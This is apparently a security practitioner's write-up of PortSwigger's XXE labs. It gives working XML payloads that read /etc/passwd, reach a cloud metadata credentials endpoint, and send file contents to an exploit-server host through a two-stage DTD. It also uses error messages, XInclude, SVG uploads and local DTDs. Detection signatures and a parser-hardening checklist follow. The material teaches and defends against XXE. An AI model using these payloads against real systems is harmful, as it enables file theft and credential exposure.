The nine PortSwigger XXE labs are a good reminder that XML parsing is not harmless string handling.
Entity resolution is a file and network boundary. When an XML parser accepts attacker-controlled input and is allowed to resolve external resources, it may read local files, call internal HTTP services, fetch remote DTDs, or leak data through parser errors and outbound callbacks.
The payload syntax is compact. The important question is larger: what can the parser resolve, and what feedback channel does the application expose?
The capability matrix
The labs cover almost the full XXE decision tree:
| Lab group | Parser capability | Feedback channel | Technique |
|---|---|---|---|
| file read | local file access | HTTP error text | general external entity |
| SSRF | outbound HTTP | HTTP error text | entity points at metadata service |
| blind interaction | outbound DNS/HTTP | OAST | general entity callback |
| parameter entity | DTD expansion | OAST | %xxe; inside the DTD |
| external DTD exfiltration | remote DTD + file read + outbound request | OAST or exploit-server log | two-stage parameter entities |
| error-message retrieval | file read + parser exception | HTTP error text | file contents inside invalid path |
| XInclude | include processing | HTTP error text | xi:include parse="text" |
| SVG upload | XML-backed image processing | rendered PNG | Batik expands entity during conversion |
| local DTD repurposing | local DTD import | parser exception | redefine an existing parameter entity |
That table is the article. XXE exploitation is less about memorizing one payload than selecting the right channel for the parser behavior in front of you.
Start with the channel
A practical XXE decision tree:
Visible response? -> general entity or XInclude
No visible response? -> OOB interaction
Need data over OOB? -> external DTD with two-stage parameter entities
No OOB receiver? -> force an error that includes the file contents
No remote DTD allowed? -> repurpose a local DTD
Not an XML endpoint? -> look for XML-backed formats such as SVG
The first two labs have an unusually generous channel. The application tries to parse productId as a number and returns an error when it is not numeric. That turns the error path into a reflection point.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
The server responds with something like:
Invalid product ID: root:x:0:0:root:/root:/bin/bash...
The HTTP status is not the point. A 400 can still be a data channel.
SSRF is the same primitive with a different scheme
Once external entity resolution can reach file://, the next question is whether it can reach http://. The metadata lab uses the same XML shape:
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
The entity target walks a simulated EC2 metadata tree and returns credential JSON. This is why XXE belongs in SSRF reviews. The vulnerable component is not the business endpoint; it is the parser’s ability to make server-side requests while processing attacker-provided XML.
Detection should include application-originated requests to:
- cloud metadata addresses such as
169.254.169.254; - loopback or RFC1918 addresses from XML-processing services;
- unexpected external OAST domains;
- remote DTD hosts.
Blind XXE: prove the parser can talk out
When the application does not reflect the entity value, the first proof is an outbound interaction:
<!DOCTYPE stockCheck [
<!ENTITY xxe SYSTEM "http://<oast-domain>">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Some environments block arbitrary outbound domains. In the PortSwigger Academy labs, Collaborator/OAST domains are the reliable path because the platform intentionally restricts third-party callbacks.
If regular external entities are blocked, parameter entities may still be accepted:
<!DOCTYPE stockCheck [
<!ENTITY % xxe SYSTEM "http://<oast-domain>">
%xxe;
]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
The distinction matters:
| Entity type | Expansion location | Reference form | Typical use |
|---|---|---|---|
| general entity | document content | &xxe; |
place file content into an element |
| parameter entity | DTD | %xxe; |
import DTDs and build second-stage payloads |
Parameter entities are the bridge into the more interesting blind XXE chains.
External DTD exfiltration
To extract file contents from a blind parser, the external DTD pattern creates a second-stage entity. One entity reads the file. Another dynamically defines an outbound request that includes the file value.
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://exploit-server/exfil?x=%file;'>">
%eval;
%exfil;
The request imports that DTD:
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "https://exploit-server/exploit">
%xxe;
]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
The official workflow uses an OAST server for the callback. In my run, the Academy exploit server was enough: it hosted the DTD and its access log recorded /exfil?x=<hostname>.
That operational detail matters during testing. If the exploit server is available, use it as the shortest evidence path before introducing another OOB tool.
Error messages can be data channels
If outbound collection is unavailable but parser errors are exposed, the same two-stage DTD can move the file contents into a deliberately invalid path:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
The parser tries to open a path that now contains the file content, then throws an exception:
java.io.FileNotFoundException: /invalid/root:x:0:0:root:/root:/bin/bash...
This is not a separate vulnerability from XXE. It is an error-handling multiplier. The parser did the file read; the application made the result visible by returning the raw exception.
XInclude: when you do not control the whole document
Sometimes the user controls only a field that the server later embeds inside an XML document. In that situation, a top-level DOCTYPE is not available.
XInclude is the alternate path:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
parse="text" is essential because /etc/passwd is not valid XML. Without it, the parser attempts to parse the included file as XML and fails.
This is the general review lesson: “the endpoint is form-urlencoded” does not prove XML is absent. If the backend wraps user input into XML and enables include processing, the XML attack surface is still there.
SVG is XML
The upload lab is a useful reminder for file-processing pipelines. The application accepts avatar uploads and uses Apache Batik to process SVG images. SVG is XML, so entity expansion can happen during image conversion:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg width="320px" height="80px" xmlns="http://www.w3.org/2000/svg" version="1.1">
<rect width="320" height="80" fill="white"/>
<text font-size="24" x="4" y="40" fill="black">&xxe;</text>
</svg>
The proof is not in the HTML response. It is in the processed PNG. The entity expands into text, Batik renders it, and the hostname becomes visible as pixels.
That pattern applies beyond SVG:
- Office documents are zipped XML;
- SAML assertions are XML;
- SOAP is XML;
- many reporting and import features parse XML behind a non-XML UI;
- converters often run with broader filesystem and network access than the web tier should have.
Local DTD repurposing
The expert lab removes the remote-DTD assumption. The hint points to a GNOME Yelp DocBook DTD:
file:///usr/share/yelp/dtd/docbookx.dtd
The payload imports that local DTD and redefines a parameter entity that the DTD uses:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
The encoding layers are easy to get wrong. % becomes %, &#x25; produces a second-stage percent sign, and ' becomes a quote. The technique works because the local DTD supplies a parse path where the redefined entity is evaluated.
The broader lesson is important for hardened networks: blocking outbound DTD fetches is good, but it is not a complete fix if local DTDs remain importable and parameter entities remain enabled.
Detection engineering notes
I would split XXE detection into four surfaces.
1. Raw XML indicators
Look for these in request bodies and uploaded text-like files:
<!DOCTYPE
<!ENTITY
SYSTEM
PUBLIC
file://
%xxe;
xi:include
Raw signatures are noisy, but they are valuable on endpoints that should never receive DTDs.
2. Decoded parser behavior
Log when XML parsers resolve external resources. The best signal is not the raw body; it is the parser attempting file or network access:
- reads from
/etc/passwd,/etc/hostname,/proc/*; - outbound HTTP from XML-processing workers;
- DNS lookups to OAST-like domains;
- requests to cloud metadata services.
3. Error telemetry
Parser exceptions in HTTP responses are high-signal:
SAXParseException
FileNotFoundException
DOCTYPE is disallowed
External Entity
EntityResolver
XInclude
Treat a parser error that includes a local path as an incident, not just a bad request.
4. File-processing pipelines
SVG and document conversion workers deserve their own monitoring:
- unexpected network egress from image converters;
- converter processes reading sensitive host files;
- uploaded SVGs with DTDs or external URLs;
- conversion errors containing XML parser stack traces.
Hardening checklist
The root fix is to disable the dangerous parser features, not to filter payload strings.
For Java-style parsers, the shape is:
disallow-doctype-decl = true
external-general-entities = false
external-parameter-entities = false
load-external-dtd = false
XIncludeAware = false unless explicitly needed
ExpandEntityReferences = false
The exact API varies by library, but the policy is consistent:
- Disable DTDs unless the business case truly requires them.
- Disable external general entities.
- Disable external parameter entities.
- Disable external DTD loading.
- Disable XInclude unless required.
- Give parsers no network access by default.
- Run converters with low filesystem privileges.
- Do not return raw parser exceptions to users.
- Treat SVG, SAML, SOAP, Office XML, and import/export features as XML parser surfaces.
Closing thought
XXE is often described as a payload family, but that framing is too small. The real issue is capability exposure.
An XML parser is allowed to resolve names into resources. If those resources include local files and internal network services, then the parser has crossed a trust boundary. The labs are useful because they show every feedback channel that can make that boundary visible: response text, OAST, errors, XInclude, rendered images, and local DTDs.
The safest parser is the one that treats untrusted XML as data, not as a request to go read the world around it.